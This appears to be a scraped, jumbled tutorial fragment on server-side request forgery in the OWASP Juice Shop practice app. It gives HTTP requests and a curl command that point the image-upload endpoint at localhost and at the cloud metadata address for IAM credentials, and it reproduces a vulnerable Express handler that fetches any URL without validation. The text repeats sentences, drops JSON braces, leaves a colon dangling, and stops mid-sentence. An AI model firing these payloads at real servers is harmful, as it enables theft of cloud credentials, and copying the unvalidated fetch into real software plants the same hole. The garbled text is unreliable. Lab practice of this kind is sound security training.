Shop Ssrf - Juice

POST /api/image/uploads HTTP/1.1 Host: juice-shop.local Content-Type: application/json "url": "http://localhost:3000/some/path"

"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" This would return the server's temporary AWS keys. Using the gopher:// protocol (if enabled in the request library or http module): juice shop ssrf

If the server responds with a successful fetch (even an error from the local service), the SSRF exists. Juice Shop's base configuration has no whitelist. But in hardened real-world apps, you might see filters. Practice bypass techniques: POST /api/image/uploads HTTP/1

// Vulnerable code example (simplified from Juice Shop source) app.post('/api/image/uploads', (req, res) => const imageUrl = req.body.url; // No validation of the URL scheme or domain request.get(imageUrl, (error, response, body) => if (error) res.status(400).send('Failed to fetch image'); else // Process the image... res.send('Image uploaded'); But in hardened real-world apps, you might see filters

For defenders, the lesson is clear: . Validate the destination as if your internal network depends on it—because it does. This article is for educational purposes. Always test on systems you own or have explicit permission to test.

curl -X POST https://juice-shop.local/api/image/uploads \ -H "Content-Type: application/json" \ -d '"url": "http://localhost:3000/this/file/does/not/exist"' Because the server makes the request, the error response might reveal internal paths, but the actual flag is obtained by pointing to: